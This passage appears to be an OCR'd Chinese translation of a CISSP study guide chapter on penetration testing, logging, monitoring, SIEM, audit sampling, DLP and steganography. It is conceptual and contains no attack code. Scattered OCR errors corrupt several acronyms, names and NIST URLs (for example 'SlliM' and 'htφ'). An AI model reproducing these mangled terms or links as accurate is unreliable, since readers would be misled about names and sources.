机和网络隔离， 并且他们能够在不影响虚拟机外部环境的情况下在沙箱中对软件进行检测。 同样 ，
许多反恶意软件厂商使用虚拟化作为沙箱技术来观察恶意软件的行为 。
9. 第三方安全服务
一些组织将安全服务外包给第三方， 这是该组织以外的个人或组织。 其中可以包括许多不同类
型 的服务， 如检测和渗透测试。
在某些情况下， 组织必须向外部实体提供保证， 第三方服务提供商必须符合特定的安全要求。
例如， 组织进行主要信用卡交易时&、须符合支付卡行业数据安全标准σCI DSS)。 这些组织经常外包
一些服务， PCI DSS 要求组织保证服务方也 能遵守 PCI DSS。 换言之 ， 组织不能外包责任。
一些 SaaS 提供商通过云提供安全服务。 例如， BaITacuda Networks 提供基于云的解决方案， 类
似于下一代防火墙和 盯M 设备。 例如， 它们的网络安全服务为 Web 浏览器充当代理。 管理员配置
代理设置以访问基于云的系统， 基于组织的需要进行网页过滤。 类似的 ， 还有基于云的 email 安全
服务， 能够执行入站垃圾邮件和恶意软件过滤。
1 0. 渗透测试
渗透测试是另一种预防性措施， 组织可以用来应对攻击。 渗透测试(通常简称为 pentest)模仿实
际攻击， 尝试确定攻击者会使用|哪些技术绕过应用程序、 系统、 网络或组织的安全性， 可能包括漏
洞扫描、 端 口 扫描、 数据包嗅探、 DoS 攻击和社会工程学技术。
当进行渗透测试时， 安全专家会设法避免中断。 但渗透测试有入侵性， 可能会影响系统的可用
性 。 因此， 安全专家在执行任何测试之前 ， 得到高级管理层批准是非常重要的 。
第 才 7 章 事件预防和响应
注意 :
NIST SP 800-115 "信息安全测试和坪估技术指帘' 中 包括大量的关于测试的信息， 也 包括渗透
测试。 可以从 NIST 专门的 下载网 页 http://csrc.nist.gov/publications/PubsSPs.html 下载。
定期实施渗透测试是评价组织内 部使用的安全控制是否有效的一个好方法。 渗透测试可以揭示
什么区域的补丁或安全设置不够， 哪里的新漏洞被开发出来或己暴露， 以及哪些安全策略是无效的
或无法跟踪。 攻击者可 以利用这些漏洞 。
渗透测试通常包括漏洞扫描或漏洞评估以发现漏洞。 但是， 渗透测试会更进一步， 试 图利用这
些弱点。 例如， 漏洞扫描器会发现有后端数据库的网站没有使用输入验证技术， 容易受到 SQL 注入
攻击。 然后， 渗透测试会使用 SQL 注入攻击访问 整个数据库。 类似地， 漏洞评估可以发现员工没有
接受关于社会工程学攻击的教育， 渗透测试可以使用社会工程学方法访问 安全区域或从员工那里获
取敏感信息。
这里列 出 了 一些关于渗透测试 的 目 标:
• 确定系统对于攻击有多 高的容忍度
• 确定员 工检测和实时响应攻击的能力
• 识别可实施 以降低风险的额外控制
注意 :
渗透测试通常包括社会工程学攻击 、 网络和系统配直检查以及环境漏洞许估。 渗透测试采取漏
洞评估和漏洞扫描 ， 并进一步验证漏洞是否可以利用 。
渗透测试的风险
对于渗透测试， 一个值得注意的危害是有些操作可能会导致中断。 例如， 如果漏洞扫描发现基
于网络的服务器易受缓冲区溢出攻击 ， 渗透测试可以利用该漏洞， 这可能导致服务器关闭或重启 。
理想J情况下， 渗透测试应在造成实际损失之前停止。 遗憾的是， 测试人员往往直到进行某一步
骤时才知道会导致损坏。 例如， 不认真的测试人员会给应用程序或系统发送无效或随机数据来检查
响应， 但直到运行这些数据时 测试者才发现错误。 经验丰富的渗透测试人员能够最大限度地减少测
试造成损害的风险， 但他们不能消除风险。
如果可能的话， 测试人员会在测试系统而不是实时的生产系统上进行渗透测试。 例如， 当测试
一个应用程序时， 测试人员可以在孤立的环境中运行应用程序， 然后在隔离的环境中测试应用程序。
如果测试导致损坏， 那么只会影响测试系统， 不影响实时网络 。 面临的挑战是， 测试系统往往不提
供生产环境的真实视图。 测试人员能够测试系统中不与其他应用程序交互的简单应用程序。 当使用
测试系统时， 渗透测试人员 通常发布一份测试资格声明 ， 该声明 中写明测试是在测试系统中进行的，
所以结果可能无法提供对生产环境的有效分析 。
获得渗透测试权限
经高级管理人员仔细审议和批准后才能进行渗透测试。 许多安全专业人员坚持书面批准， 并写
明风险。 执行未经批准的 安全测试可能导致生产效率损失和触发应急响应。
故意违反 IT 环境安全性的员工将依法受到处罚 。 同样 ， 如果内部员工在没有授权的情况下对系
统进行非正式的测试， 组织可能会将他们的行为视为非法攻击而不是渗透测试。 这些员工很可能会
失去工作 ， 甚至可能面临法律后果 。
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CISSP 官方学 习指南(第 7 版)
渗透测试技术
组织聘请外部顾问进行渗透测试的情况很常见。 组织可以控制给这些测试人员提供的信息， 组
织给予的信息的水平决定 了其所要进行的测试类型。
注意 :
第 20 章 "软件开发安全" 叙述了 软件测试背景下的 白 盒测试、 黑盒测试和灰盒测试。 这些术语
往往与渗透测试相 关 并表达相同含义。
零知识团队黑盒测试 除了公开可用 的信息， 如域名和公司地址之外， 零知识团队不知道任何
有关 目标网站的信息。 似乎他们将 目 标看成一个黑色的盒子， 直到检测才知道盒子里是什么 。 零知
识团队的攻击与真正的外部攻击极其类似， 因 为所有有关环境的信息必须从零开始 。
全知识团队白盒测试 全知识团队可以访 问 目 标环境的所有方面。 他们了解所有安装的补丁和
升级类型， 以及所有相关设备的精确配置。 如果 目 标是一个应用程序， 他们将能访问源代码。 全知
识团队进行自盒测试(有时被称为水晶盒或透明盒测试)。 白盒测试通常被认为能够更经济、 有效地
定位漏洞 ， 因 此发现漏洞所需的时间更短。
部分知识团队灰盒测试 对 目标有部分但不全面了解的团队进行灰盒测试。 他们可能会有网络
设计及配置细节方面的相关信息， 以便专注于特定 目 标的攻击和漏洞 。
定期保护渗透测试目 标的安全管理人员可以被认为是全知识团队。 然而， 他们不是执行渗透测
试的最佳选择。 他们往往有盲点， 或在对特定安全问题的理解、 估计和能力上有差距。 如果他们知
道一个漏洞会被利用 ， 很可能就会提出一种控制方法以减少发生的可能性。 全知识团队知道什么是
安全的 ， 所以可能无法依靠虚假的假设去正确地测试每一种可能性。 零知识或部分知识团队不太可
能犯这些错误 。
渗透测试可以采用 自 动攻击工具和套件， 或者手动使用普通的网络工具。 自动攻击工具的范围
包括从专业的漏洞扫描工具和渗透测试工具 ， 到混乱的、 在互联网上发现的地下工具。 一些开源和
商业工具(如 Metasploit 和 Core Impact)是可用 的 ， 安全专业人员和攻击者都使用 这些工具。
渗透测试中经常使用社会工程学技术。 根据测试的 目 标， 测试人员可以使用技术来突破组织的
物理边界或让用户 泄露信息。 这些测试有助于确定有缺点的员工如何被经验丰富的社会工程学攻击
接近， 并且也有助于让他们熟悉怎么 阻止这些攻击类型的安全策略。
⑩ 真实场景
渗透测试中 的社会工程学
下面的例子是在一家银行进行的渗透测试， 但许多 不 同 的组织往往得 出 同 样的结果。 测试人员
被特别询问 了 能否访问 员 工 的 用 户 账户 或用 户 系 统的 问题。
渗透测试人员 设计 了 一封伪造的电子邮件， 使之看起来像是来 自 银行内部人员 。 它描述了一个
网络问题， 并要求所有员 工尽快回 复用 户 名和密码， 以确保他们没有失去访问权限。 超过 40%的 员
工做出 了 回应 。
此外， 测试人员 在几台 USB 设备中安装了 恶意软件并将它们 "丢" 在停车场和银行内部的不同
住直。 一名好心的 员 工看到 了 一个， 并把它捡起插入到一 台计算机上， 想、确 定其所有者。 然而， USB
驱动器却感染了用户的系 统 ， 为 测试者提供 了 远程访 问 权限。
第 1 7 章 事件预防和响应
测试人员 和攻击者经常成功地旬到类似的方法。教育往往是9刻丰这些类型的攻击的最有效方法，
并且渗透测试也常常强调相 关知识教育 的 必要性。
防护报告
渗透测试人员将提供一份记录测试结果的报告 ， 且该报告应被作为敏感信息而被保护 。 该报告
将概述具体的漏洞， 以及这些漏洞将如何被利用 。 它还经常包括对于如何缓解漏洞的建议。 如果测
试结果在组织采纳建议之前落入攻击者手 中 ， 攻击者将利用报告中 的漏洞细节发起攻击。
另外我们还要认识到， 渗透测试团队提出了一个建议， 但这并不代表组织会采纳该建议。 管理
层有选择权， 可 以选择实施建议以减少风险， 但如果他们认为成本太高不值得， 也可以选择接受风
险。 换言之， 去年的报告可能会列出一个没有被修补的漏洞。 这份报告可能就像是昨天刚做完一样，
问 题还没有得到解决 。
道德黑客行为
道德黑客经常被用作渗透测试的另一个名称。 道德黑客指的是了解网络安全并知道如何破解安
全性 ， 却不利用该知识为 自 己谋利的人。 相反， 道德黑客使用这方面的知识帮助组织了 解其漏洞并
采取行动 ， 从而防止恶意攻击。 道德黑客将永远停留在法律允许范围内。
第 14 章 " 控制和监控访问" 中提到了骇客、 黑客和攻击者之间的技术差异。 黑客的原始定义是
指无恶意的科技爱好者， 而骇客和攻击者却是有恶意的。 黑客一词的原意 己逐渐模糊 ， 因为它常常
作为攻击者的 同义词使用 。 换言之， 大多数人认为黑客就是攻击者， 人们觉得道德黑客这个词本身
就有矛盾。 然而 ， 道德黑客使用 黑客的原始含义。
道德黑客将了解并经常 同攻击者使用相同的工具 。 然而， 他们不使用这些工具攻击系统。 相反，
他们使用工具测试系 统漏洞 ， 且只有在组织授予他们 明 确许可时才做测试。
1 7.3 日志、 监控和审 计
日 志、 监控和审计程序有助于组织防止事件发生 ， 并能够在事件发生时做出有效响应。 下面的
章 节将叙述 日 志和监控等 内容， 以及用于评估访 问 控制 的有效性的各种审计方法。
1 7.3. 1 日 志和监控
日 志将事件记录到各种 日 志中 ， 并监控这些事件。 联合、 日 志和监控体系使得组织能够追踪、
记录和审 查活动 ， 提供完全 的可问责性 。
这有助于组织检测可能会对系统机密性、 完整性和可用性产生负面影响的不良事件， 也有助于
在事件发生后重建活动 ， 以确定发生了什么 ， 有时能够为起诉相关负责人员提供证据 。
1 . 日 志技术
日 志、记录是将事件的信息记录到 日 志文件或数据库的过程。 日 志记录捕获的事件、 变更、 信息
通知和其他数据能够描述系统上发生的活动。 日 志通常会记录细节， 如发生了什么事、 在什么时候、
在哪里、 谁做的 ， 有时还记录事件是如何发生的 。 当 需要寻找最近发生的事件时， 系统 日 志是个很
好的开始 。
513
CISSP 官方学习 指南(第 7 版)
例如， 图 1 7.5 显示了微软服务器上的事件查看程序， 一些日志条目 己被选择和扩展 。 此日志条
目 显示一位名为 DalTil 的用户在名为 SQLl 的服务器上删除了位于 C:\CISSP StudyNotes 目 录下的一
个名 为 CISSP Study Note 的文件夹。 它还显示 Darril 在 7 月 1 4 日 上午 1 0:30 删除了该文件。
514
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图 1 7.5 查看 日 志条 目
只 要身份识别和认证过程是安全的 ， Dani1 就有权删除文件。 另 一方面， 如果组织不使用安全
认证流程， 就很可能有其他人冒充另外的用户， Danil 可能面临错误指控。 安全识别和认证实施作
为可 问 责性的先决条件， 如有要求便需要加强 。
注意 :
日 志通常被称为 审计日志， 而 日 志记录通常被称为 审计 日 志记录。 然而， 我们要认识到 : 审计(在
本章后面 会有叙述)不仅仅是 日 志记录。 日 志记录是记录事件， 而 审计会检查所处环境。
2 通用 日 志类型
有许多不同类型 的 日 志。 下面是一个在 IT 环境中常见 日 志的短列表。
安全日 志 安全 日 志能够记录对一些资源的访问 ， 如文件、 文件夹、 打印机等。 例如， 当用户
访问、 修改或删除文件时， 安全 日 志能够记录下来， 如 图 17.5 所示。 许多系统能够 自动记录对关键
系统文件的访问， 但需要管理员在登录访问之前启用对其他资源的审计。 例如， 管理员可能会为专
有数据配置 日 志记录， 但不会对发布在网站上的公共数据进行配置。
系统日 志 系统日 志记录类似于系统或服务器的开启或关闭等事件。 如果攻击者能够关闭系统
第 1 7 章 事件预防和晌应
并使用 CD 或 USB 闪存驱动器将其重启 ， 他们就可以从系统中窃取数据而不留下任何访问记录。 同
样， 如果攻击者能够将正在监视系统的服务停止， 他们就可能能够在不产生任何行动 日 志的情况下
访问系统。 能够检测 出系统重启 或服务停止的 日 志有助于管理员 发现潜在恶意行为 。
应用程序 日 志 这些 日 志记录特定应用程序的信息 。 应用程序开发人员能够选择要在应用程序
日 志中做出记录 的程序。 例如， 开发人员可以设置在任何人访问特定的数据对象(如表或视图)时，
日 志做出记录。
防火墙日 志 防火墙 日 志可 以记录与到达防火墙的流量相关的任何事件， 包括防火墙允许的流
量和阻止的流量。 这些 日 志通常记录主要的数据包信息 ， 如源和目的E地址、 源和 目 的端口， 但不
记录数据包的实际 内容。
代理日 志 代理服务器为用户提高了互联网访问性能， 并可以控制用户访问的网站的范围。 代
理 日志有记录详细信息的功能， 如特定用户访问 了 哪些网站， 以及他们浏览网站花费了 多长时间。
当用户试图访 问 己知的禁止访 问 的网站时 ， 代理 日 志也能够做 出记录。
变更 日 志 作为整体变更管理过程的一部分， 变更 日 志能够记录变更请求、 批准和系统的实际
变更。 跟踪被批准的变更是很有益处的。 作为灾难恢复计划的一部分， 变更日 志仍大有益处。 例如，
发生故障之后， 灾难管理员或技术人员可 以使用变更 日 志将系统还原， 其中包括所有应用的变更。
日 志记录通常是操作系统中 的本地功能， 并用于大多数应用程序和服务。 这使得管理人员和技
术人员能够相对容易地配置系统来记录特定类型的事件。 特权账户 的事件， 如管理员和根用 户账户 ，
应包含在任何 日 志记录计划中。 这有助于防止恶意内部人员 的攻击， 并能够在必要时提供起诉的活
动文件。
3 保护日志数据
组织内 部人员可以使用 日 志来重新创建事件， 但前提是 日志没有被修改。 如果攻击者可以修改
日志， 他们便能够擦除 自 己的活动痕迹， 有效地清除有价值的数据。 文件便不再含有准确的信息 ，
也不能作 为起诉攻击者的证据 。 所以， 保护 日 志文件免受未授权的访 问和修改是很重要的 。
在 中央系统上存储日 志的副本来保护 日 志的方法很常见。 即使攻击者修改或破坏了 原始文件，
工作人员也仍然可以使用副本查看事件 。 保护 日 志文件的一个方法是通过指定权限来限制他们的访
问权。
对于实施 日 志文件备份的组织通常都有严格的管理策略。 此外， 这些策略都规定了 备份保留时
间 。 例如， 组织可能会将归档 日 志文件保存一年、 三年或更长时间。 一些政府法规要求组织无限期
地保存归档 日志。 能够设置 日 志只读模式、 分配权限、 实施物理控制的安全控制可以保护归档 日 志
免受未授权的访问和修改。 当不再需要 日 志时 ， 应及时销毁。
提示 :
组织有法律经验的话， 就会意识到对不必要 日 志的过度保存会导致劳动成本的过度使用 。 例如，
如果法规要求组织保存一年内 的日志， 而组织却保存了 十年， 法院在检查时就会要求相关人员 检索
这十年内 日 志 中 的相 关数据。 相比之下 ， 如果组织只保存了 一年的 日 志， 相关人员 只 需要在这一年
的日志 中 检索有价值的信息 ， 这会显著减少所需的 时间和精力 。
美国国家标准与技术研究所例1ST)发表了 大量的与 IT 安全问题相关的信息， 包括联邦信息处理
标准σIPS)出版物。 联邦信息和信息系统σIPS 200)的最低安全要求中 明确指明 了 以下信息为审计数
据 的最低安全要求:
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CISSP 官方学 习指南(第 7 版)
• 建立、 保护和保留信息系统审计记录 ， 以使监测 、 分析、 调查和报告非法的 、 未授权的或
不适当的信息系统活动的 需求范围扩大。
• 确保个人信息系统用户的行为能够被唯一地追踪到这些用户 ， 以便他们能够为自 己的行动
负责。
注意 :
在准备 CISSP 考试时 ， 你会发现复习 NIST 文件是很有帮助的。 对于不 同 的安全概念， 它 能为
你提供更全面的信息。 这些信息都是免费的， 下 面是网址: htφ:/ /csrc.nist. gov。 也可以点击下面这个
网 址来下载 FIPS 200 文件 http://csrc.nist.gov/publications/自ps/:fips200IFIPS-200-:final-march. pdf.
4. 角 色监控
监控功能为组织带来了 很多好处， 比如增加可问责'性、 帮助调查、 提供基本的故障排除方法。
下面将更深入地描述这些好处。
监控和可问责性
监控是一个必要的功能， 能够确保受监控者(如用户和员工)可以对他们的行动和活动负责 。 用
户提供身份(如用户名)并证明 自 己的身份(通过认证)， 然后审计跟踪系统就会在其登录时记录活动。
监控和审 计跟踪 日 志使得用户 能够承担相应责任 。
这直接促进用户 的积极行为并能使其遵守组织的安全策略。 意识到 日 志能够记录活动信息的用
户 ， 不大可能会尝试绕过安全控制或执行未授权威受限制 的活动 。
一旦发生违反安全策略的事件， 应确定违规的来源。 如果确定是个人责任， 他们应该依照组织
的 安全策略承担相应的责任 。 如果事件严重， 可能会终止劳动合同 或进行法律起诉。
立法往往需要具体的监督和可问责实践。 这包括许多组织都必须遵守的法律， 如 2002 萨班斯奥克斯利法案、 健康保险流通与责任法案(HJPAA)和欧盟的隐私法律。
⑤ 真实场景
监控活动
从一线步兵到监控 日 常运作的 高级指挥官， 对于每个层面 的业务工作来说， 可 问责都是相当必
要的 。 如果不对用 户 及其活动 ， 或者 系统中 的应 用 程序进行监控的话， 就无法实现可问 责性。
Duane 是一家石 油钻井数据挖掘公司 数据录入部 门 的质量安全主管。 在日常工作 中 ， 他能够看
到许多敏感文件， 其 中 包括有价值的信息， 这些信息可以帮助 Duane 从那些对这些数据感兴趣的人
那里获得不菲的小费。 他也会纠正一些可能会导致客户 严重不满的幸如吴， 有时f候!美吴， 一个小
会给客户 的 整个计划划l 带未非常严重的 问题。
Duane 在其工作站中接触或转发这类信息时， 就会留 下 电子追踪证据。 他的主管 Nicole， 能够
使用 该线索检查 Duane 的操作是否是在被监控的情况下进行的。 她可以在 D回ne 访 问或修改敏感信
息时， 监控到 Duane 从哪里获得信息， 并将其放直到哪里， 同 时还能监控到信息从信息源到客户 端
之间 的 处理过程。
这种可问 责性能够为公司提供保障 ， 以免 Duane 滥用信息。 同 时也能保护 Duane， 以 防他人指
控 自 己 滥用 数据处理职能。
第 1 7 章 事件预防和响应
监控和调查
审计跟踪系统使得调查人员在发生事件之后能够对其进行重建。 它们可以记录访问权限的滥用 、
特权侵犯、 试图入侵和许多不同类型的攻击。 在检测到安全冲突后， 通过对审计追踪信息进行检查 ，
安全专业人员可 以重建导致事件的条件和系统状态。
确保日 志有准确的时间戳很重要， 这些时间戳在整个环境中 需要保持一致。 常用 的方法是建立
一台内部的网络时间协议(Network Time Protocol. NTP)服务器， 该服务器是同步的可信时间源， 如
公共 NTP 服务器。 其他系统可 以用此内部 NTP 服务器同步时间。
注意 :
系 统应保持时间与一台 集中或受信任的公共时间服务器同步， 这确保所有的审计 日 志记录事件
的 准确 性和时间的一致性。
监控和问题识别
审计跟踪为管理员提供了一些有用的 、 与事件相关的详细信息。 它们可以记录系统故障、 操作
系统错误和软件错误， 还有恶意攻击。 一些 日 志文件甚至可以捕获应用程序或系统崩溃时内存的 内
容。 这些信息可以帮助查明事件的原因， 如果确认是攻击的话， 信息还能够帮助消除威胁。 例如，
如果系统 由于内存不 足而崩溃 ， 崩 溃转储文件可 以帮助诊断问题。
为此而使用 日 志文件通常被称为问题识别 。 一旦确定了 问题， 执行解决问题的步骤则需要更多
的信息。
5. 监控技术
监控是一种检查信息 日 志并寻找具体某些细节的过程。 工作人员可以手动查看日志， 或使用工
具来自动处理过程。 监控是必要的， 以检测恶意行动， 以及入侵和系统故障。 还可以帮助重建事件，
提供起诉证据 ， 并创建分析报告 。
日 志分析是监测过程中一种详细且系统化的模式， 日 志分析能够分析监测记录信息的趋势、 模
式， 还能够分析未授权的、 非法的、 违反策略的活动。 日 志分析不一定是对事件的响应， 而是一项
周 期性的任务， 可 以检测潜在的问题。
当手动分析 日 志时， 管理员 只 需打开 日 志文件， 并查找相关数据。 即使使用一些工具 ， 这项工
作也是非常烦琐和耗时的。 例如， 在特定的事件或身份代码中搜索 1 0 个不同的存档 日 志会花费很多
时间， 即 便是在使用 内 置搜索工具的 前提下 。
在许多情况下， 日 志产生了太多的信息， 以至于重要的细节会丢失， 因此管理员经常使用 自 动
化工具来分析 日 志数据。 例如， 入侵检测系统。DS)积极监视多个 日 志来检测和响应实时的恶意入侵。
入侵检测系统可以帮助检测和跟踪来自 外部攻击者的攻击， 向管理员发送警报， 并记录攻击者对资
源 的访 问 。
多个供应商销售运营管理软件， 积极监控整个网络系统的安全性、 健康度和性能。 该软件寻找
能指明 问题的可疑或异常活动 ， 如攻击或未授权 的访问。
安全信息和事件管理
许多组织使用集中式应用程序来自动监控网络上的系统。 有些术语被用来描述这些工具， 包括
安全信息和事件管理(Security Information and Event Management， SIEM)、 安全事件管理(Security
Event Management， SEM)和安全信息管理(Security Information Management， STh句。 这些工具为组织
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CISSP 官方学习 指南(第 7 版)
提供了对系统事件的实时分析。 它们具有安装在远程系统上的代理， 能够监控特殊事件， 被称为触
发器。 一 旦触发警报， 代理会将事件报告给 中央监控软件。
例如， SlliM 可以监视一组电子邮件服务器。 每一次邮件服务器记录事件时， SlliM 代理就会检
查该事件以确定它是否和利益有关。 如果有关， SlliM 代理会将事件转发到中央的 SlliM 服务器，
并根据事件的严重性， 依次提高向管理员发出 的警报程度。 例如， 如果电子邮件服务器的发送队列
开始备份， SIEM 应用可 以检测 问题， 并在 问题变得严重之前 ， 提醒管理员 。
大多数的 SlliM 软件都是可配置的， 使得组织内部人员能够指定哪些项和利益相关， 需要转发
给 SlliM 服务器。 SlliM 软件几乎有所有服务器和网络设备的代理， 在某些情况下， 它们能够监控
网络流量， 提供趋势分析。 该工具还可以从目标系统收集所有的 日 志， 并使用数据挖掘技术来检索
相关的数据 。 安全专业人员 可 以创 建报告和分析数据。
一些监控工具也能用于库存及状态方面 。 例如， 一些工具可以查询所有可用的系统和文档的详
细信息 ， 如系统名称、 lP 地址、 操作系统、 安装补丁、 更新和 己安装的软件。 这些工具可以根据组
织的需要创建系统报告 。 例如， 它们可以确定有多少系统是活跃的， 识别系统与未打的补丁， 标志
有未授权软件安装的系统。
软件监控程序能够监控企图安装或未批准而安装的软件， 或未授权软件的使用 ， 或未授权使用
合法软件。 这样就 降低 了用户在不经意间安装病毒或木马 的风险 。
审计跟踪
审计跟踪指的是一些记录， 它们在关于事件和突发事件的信息被存储在一个或多个数据库或 日
志文件中 时被创建出来。 审计跟踪提供了 系统活动的记录， 并可以重建导致安全事件的活动。 安全
专家提取事件的审计线索来证明或反驳责任信息。 审计跟踪允许安全专家检查和跟踪事件的正向或
反向顺序。 当跟踪问题、 性能问题、 攻击、 入侵、 安全漏洞、 编码错误和其他潜在的策略违规行为
时 ， 这种灵活性是很有帮助的。
提示 :
审计JlPJ宗提供了全面的系统活动记录， 并且可以帮助检测各种各样的安全违规行为 、 软件缺陷
和性能问题。
使用审计跟踪是一种被动的检测性安全控制形式。 与 闭路电视或保安人员所起的作用一样， 审
计跟踪只 是作为一种威慑手段。 如果攻击者知道他们正受到监视， 并且他们的活动也被记录下来，
那么他们从事违法的、 未授权或恶意活动的可能性就会减小(至少理论上是这样， 但是某些罪犯要么
粗心、 要么无视这些措施)。
在起诉罪犯时， 审计跟踪也是重要的证据。 审计跟踪通常被用于生成资源、 系统和资产状态前
后对照的镜像。 这反过来有助于标识所发生的变化或改变是否由用户 的行为、 操作系统或软件行为
造成， 或者是否 由 其他一些原因(例如， 硬件故障)引 起 。
抽样
抽样或数据抽取是为了构建有意义的整体表示法或概述， 而从大量的数据中提取元素的过程。
换句话说， 抽样是一种数据简化形式， 允许审计人员'快速地从审计跟踪中确定重要的 问题或事件。
使用精确的数学函数从大量数据中抽取有意义信息的审计工具， 执行的是统计学抽样。 这与进
行民意测验时使用的方法一样， 不是采访每个人。 抽样数据不能准确表示整个数据主体， 以至于误
第 1 7 章 事件预防和晌应
导 审计人员和管理人员 的 风险总是存在， 并且统计学上的抽样可 以被用于衡量风险 。
阀值级别
阀值是一种非统计抽样 。 它只选择超过阀值平均值的事件， 阀值平均值是事件的预定义阔值。
事件达到此阑值， 系 统就会忽略该事件。
例如， 登录失败在系统中很常见， 因 为用户会轻易地输入错误密码一两次。 阀值平均值能够设
置成只有在 30 分钟 内有 5 次或5次以上失败登录时才会发出警报， 而不是每一次失败登录都报警。
许多账户锁定控件使用类似的阀值级别。 在一次登录失败后不会将账户锁定。 相反， 只 有在失败登
录次数达到预定义的 阔值时 才锁定账户 。
间值级别被广泛地用在审计事件的过程中， 从而建立例行系统或用户 行为的基线 。 如果超过了
这条基线， 那么就会触发异常事件的警报。 换句话说， 阅值级别引起系统忽略例行事件， 而当监测
到严重的入侵行为时 ， 触发报警。
另外， 阀值级别往往与名为违规分析的主框架审计形式相关联。 在属于较早审计形式的违规分
析中， 环境中 出现的错误会受到监控 。 错误的基线是预期的和 己知的， 这种常见错误的级别被标记
为阀值级别。 超过阅值级别门限而触发违规的任何错误， 以及这种事件的相关细节都会被记入违规
记录， 以便稍后进行分析。
大体上来说， 非统计抽样是任意抽样或取样 ， 审计程序有自 由裁定权。 不提供整体数据的精确
值， 并将忽略未达到阔值级别的事件。 然而， 当用于特定事件时， 该方法却是很有效的。 此外， 非
统计抽样 比统计抽样更便直 、 更容易实现。
注意 :
统计学意义上的和非统计学意义上的抽样， 都被认为是生成大量审计数据主体的概况或归纳的
有 效机制 。 不 过， 统计学意义上的抽样更为 可靠和精确 。
其他监控工具
虽然 日 志是审计使用 的主要工具， 但在组织中也会使用一些额外的工具。例如， 闭路电视(CC口。
可以自动将事件记录到磁带上供以后查看。安全人员也可以通过闭路电视实时监控系统的不必要的、
未经批准的或非法的活动。 该系统可以单独工作或与安全警卫合作 ， 他们 由 闭路电视监控， 并对任
何非法或不道德的活动负责。 防止数据丢失的工具包括按键监控、 流量监控分析、 趋势分析和监测
监控。
击键监控 击键监控是记录用户 在物理键盘上进行击键的行为。 记录行为可以通过技术方式(如
硬件设备)或软件方法(如键盘记录器)进行。 无论如何， 视频录屏能执行可视化监控。 在大多数情况
下 ， 击键监控用于恶意的 目 的。 只 有在极端环境中和高度安全的环境中， 击键监控实际上才作为一
种 审计和分析用户 键盘操作活动的方法。
击键监控经常被比作搭线窃听。 对于击键监控是否应该与电话窃昕一样采取相同的限制和控制
方式， 目 前还存在一些争论。 许多使用击键监控的组织都通过雇用协议、 安全策略和登录区域的警
告标题来通知经过授权和未授权的用户存在这样的监控措施。
注意 :
公司 确实能够以一些原 因 利 用 击键监控 ， 但是通常必须通知被监控 的 员 工 。
流量分析和趋势分析 流量分析和趋势分析都是监控的形式， 它们对数据包的流(而不是数据包
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CISSP 官方学 习指南(第 7 版)
的实际内 容)进行检查。 这有时被称为网络流量监测。 使用流量分析和趋势分析可以对大量的信息进
行推断， 如主通信路径和备份通信路径、 主服务器的位置、 网络支持的通信流量、 数据流的特有方
向 、 通信 的频率等 。
这些技术有时可以揭示可疑的流量模式， 例如， 如果一名员工的账户发送大量的 电子邮件给别
人， 就可能表明该员工的系统是由远程操作的攻击者控制的僵尸网络的一部分。 同样， 如果有内 部
人员通过电子邮件的方式将内部信息转发给未授权的人， 流量分析程序也会发现这类行为。 这些类
型 的事件通常会 留下可检测 的签名 。
1 7.3.2 出 口监控
出 口监测是指监测传出 的流量， 以防止数据泄露， 也就是防止组织数据的未授权传输。 防止数
据泄露的一些常见方法有: 使用数据丢失防护技术， 寻找隐藏的企图， 以及利用水印检测未经授权
的数据 。
1 . 数据泄露保护
数据丢失防护(Data Loss Prevention， DLP)系统能够检测和阻止数据泄露的企图。 这些系统有扫
描数据、 寻找关键字和数据模式的能力 。 例如， 假如组织使用机密的、 专有的、 私有的和敏感的数
据分类， DLP 系 统可 以扫描文件来寻找这些关键字并检测 。
模式匹配的 DLP 系统寻找特定的模式。 例如， 美国的社会安全号码是 nnn-nn-nnnn 模式(3 个数
字、 破折号 、 两个数字、 破折号 、 4 个数字)0 DLP 可 以寻找这种模式并检测。 管理员可 以设置 DLP
系统 以根据 自 己的需要， 寻找任意模式。
DLP 系 统有两种主要类型 : 基于网络的 DLP 和基于终端 的 DLP。
基于网络的 DLP 基于网络的 DLP 扫描所有网络输出数据以寻找具体的数据 。 管理员会把它
放在负边缘以扫描所有从组织传输出去的数据。 如果有用户 发送了一个含有限制数据的文件， DLP
系统将检测并阻止该文件从组织发出。 DLP 系统会发出警报， 比如 向 电子邮件管理员发出警报 。
基于终端的 DLP 基于终端的 DLP 可以扫描存储在系统中的文件以及发送到外部设备的文件，
如打印机。 例如， 基于终端的 DLP 可以防止用户复制敏感数据到 USB 闪存驱动器或发送敏感数据
到打印机。 管理员可 以给 DLP 配置适当 的关键字 以扫描文件， 如果在文件中检测到这些关键字， 将
阻止复制或打印 。 也可以配置基于终端的 DLP 系统， 使其定期扫描文件(如文件服务器)， 以确定是
否存在包含特定关键词或图形的文件或未经授权的文件类型 ， 如 MP3 文件。
DLP 系统通常具备进行深层次检查的能力。 例如， 如果用户将文件压缩成 Z1P 压缩文件， DLP
系统仍然可 以检测到 关键词和模式。 然而， DLP 系统没有解密数据的能力 。
在过去， 基于网络的 DLP 系统阻止过重大违规事件。 例如 201 4 年的索尼攻击， 攻击者从索尼
员工那里偷得 25GB 以上的敏感数据 ， 包括社会安全号码、 医疗和工资信息。 如果攻击者在检索之
前不对数据进行加密处理， DLP 系统可以检测到在网络上试图传递出来的数据。 然而， 值得一提的
是 ， 高级持续性威胁( 比如经 Mandiant 认证 的 APT1)在发送之前都对数据进行了 加密处理。
2. 隐写术
隐写术指的是在文件中嵌入消息。 例如， 个人可以通过修改图片文件 内 的位数来嵌入消息。 这
种变化对观看图片的人来说是潜移默化的， 但如果其他人知道并想要寻找其中的信息， 便可以进行
第 1 7 章 事件预防和响应
提取。
然而， 如果怀疑一个文件有隐藏信息， 且有该文件的源文件， 就可以检测隐写术。 如果使用散
列算法， 如 MD5 哈希值， 就可以为两个文件创建哈希值。 如果哈希值是相同的， 就说明该文件没
有隐藏的信息。 然而， 如果哈希值是不同的， 就表明第二个文件已被修改。 Forensic 分析技术能够
检索到信息。
在出 口 监控的背景下， 组织可以定期检测很少变化哈希值的内 部文件。 例如， 图形文件(如JPEG
和GlF文件)的哈希值通常保持不变。 如果安全专家'怀疑有内部员工将额外的数据信息嵌入这些文件，
并 以 电子邮件的形式发给其他组织， 安全专家便比较原始文件和内 部员工发出 的文件的哈希值。 如
果 哈希值不 同 ， 就说明 文件是不 同的， 可能包含隐藏信息。
3. 7.kf;p
水印指的是在纸上嵌入不容易感知的图像或图案， 经常被用来防止伪造货币。 同样， 组织经常
使用含数字水印的文件。 例如， 敏感文挡的作者可以用 "机密 " 或 "私有 " 等适当的分类字样来标
